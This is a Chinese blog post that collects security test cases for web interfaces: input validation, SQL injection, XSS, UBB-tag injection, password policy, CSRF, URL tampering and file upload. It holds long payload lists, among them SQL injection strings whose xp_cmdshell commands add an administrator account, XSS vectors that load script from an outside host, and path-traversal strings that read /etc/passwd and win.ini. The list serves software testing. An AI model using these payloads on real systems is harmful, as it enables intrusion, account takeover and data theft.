美文网首页
实用的接口安全测试用例

实用的接口安全测试用例

作者: 测试星云 | 来源:发表于2020-04-22 17:06 被阅读0次

    网上收集来的(所有的都是半角的单引和又引)
    分几种类型:输入验证,sql注入,xss攻击,ubb,用户名密码

    1、输入验证

    客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
    1.输入很大的数(如72932398579857),输入很小的数(负数)
    2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
    3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
    4.输入中英文空格,输入字符串中间含空格,输入首尾空格
    5.输入特殊字符串NULL,null,0x0d 0x0a
    6.输入正常字符串
    7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
    8.输入html和javascript代码
    9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
    例如:
    1.输入<html”>”hello</html>,看是否出错;
    2.输入<input type=”text” name=”user”/>,看是否出现文本框;
    3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

    2、防止SQL注入

    在文件框中输入,在参数值中输入

    admin'--
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    hi' or 'a'='a
    hi') or ('a'='a
    hi") or ("a"="a[/code]
    'and  (   )   exec   insert   *   %   chr   mid
    and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2
    'and 1=1    ;  'And  1=1   ;   'aNd   1=1   ;
    and 1=2    ;   'and 1=2
    and 2=2
    and user>0
    and (select count(*) from sysobjects)>0
    and (select count(*) from msysobjects)>0
    and (Select Count(*) from Admin)>=0
    and (select top 1 len(username) from Admin)>0(username 已知字段)
    ;exec master..xp_cmdshell "net user name password /add"--
    ;exec master..xp_cmdshell "net localgroup name administrators /add"--
    and 0<>(select count(*) from admin)
    

    3、跨站脚本攻击(XSS)

    在输入框中输入,这些脚本如果有对应的反馈就是有问题。

    ><scrīpt>alert(document.cookie)</scrīpt>
    ='><scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(helloworld)</scrīpt>
    %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
    <scrīpt>alert('XSS')</scrīpt>
    <img src="javascrīpt:alert('XSS')">
    %0a%0a<scrīpt>alert(\"helloworld\")</scrīpt>.jsp
    %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
    %3f.jsp
    %3f.jsp
    &lt;scrīpt&gt;alert('linda is ok');&lt;/scrīpt&gt
    <scrīpt>alert('Vulnerable')</scrīpt>
    ?sql_debug=1
    a%5c.aspx
    a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
    a/
    a?<scrīpt>alert('Vulnerable')</scrīpt>
    "><scrīpt>alert('Vulnerable')</scrīpt>
    ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
    %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
    %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
    %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
    ../../../../../../../../etc/passwd
    ..\..\..\..\..\..\..\..\windows\system.ini
    \..\..\..\..\..\..\..\..\windows\system.ini
    '';!--"<XSS>=&{()}
    <IMG SRC="javascrīpt:alert('XSS');">
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
    <IMG SRC=" javascrīpt:alert('XSS');">
    <scrīpt>a=/XSS/alert(a.source)</scrīpt>
    <BODY BACKGROUND="javascrīpt:alert('XSS')">
    <BODY ōNLOAD=alert('XSS')>
    <IMG DYNSRC="javascrīpt:alert('XSS')">
    <IMG LOWSRC="javascrīpt:alert('XSS')">
    <BGSOUND SRC="javascrīpt:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
    <IMG SRC='vbscrīpt:msgbox("XSS")'>
    <IMG SRC="mocha:[code]">
    <IMG SRC="livescrīpt:[code]">
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
    <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
    <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascrīpt:alert('XSS')">
    <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    <DIV STYLE="width: expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
    <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A class="XSS"></A>
    <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
    <BASE HREF="javascrīpt:alert('XSS');//">
    getURL("javascrīpt:alert('XSS')")
    a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascrīpt:alert('XSS');">
    "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
    <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
    <IMG SRC="javascrīpt:alert('XSS')"
    <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
    

    4、用户名密码

    检测接口程序连接登录时,是否需要输入相应的用户
    是否设置密码最小长度(密码强度)
    用户名和密码中是否可以有空格或回车?
    是否允许密码和用户名一致
    防恶意注册:可否用自动填表工具自动注册用户? (傲游等)
    遗忘密码处理
    有无缺省的超级用户?(admin等,关键字需屏蔽)
    有无超级密码?
    是否有校验码?
    密码错误次数有无限制?
    大小写敏感?
    口令不允许以明码显示在输出设备上
    强制修改的时间间隔限制(初始默认密码)
    口令的唯一性限制(看需求是否需要)
    口令过期失效后,是否可以不登陆而直接浏览某个页面
    哪些页面或者文件需要登录后才能访问/下载
    cookie中或隐藏变量中是否含有用户名、密码、userid等关键信息

    跨站请求伪造(CSRF)

    同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。

    关于URL:

    1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
    2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
    3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
    4.输入善意字符。

    UBB:

    [url=http://www.****.com] 你的网站[/url]
    1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
    2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
    3.输入编辑器中不存在的UBB代码,看是否起作用

    [url=javascript:alert('hello')]链接[/url]
    [email=javascript:alert('hello')]EMail[/email]
    [email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
    [img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
    [img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
    [b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
    [i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
    [u]一二三四五六七北京市[/u]
    [font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
    [size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
    [color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
    [align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
    [float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
    [font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
    [size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
    [color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
    [align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
    [list=1]
    [*]一二三四五六七北京市[/list]
    [indent]一二三四五六七北京市[/indent]
    [float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
    [media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
    

    关于上传:

    1.上传文件是否有格式限制,是否可以上传exe文件;
    2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
    3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
    4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
    5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
    6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
    7.对于文件名中带有中文字符,特殊字符等的文件上传。

    下载:

    避免输入:..\web.
    修改命名后缀。

    相关文章

      网友评论

          本文标题:实用的接口安全测试用例

          本文链接:https://www.haomeiwen.com/subject/lqhwihtx.html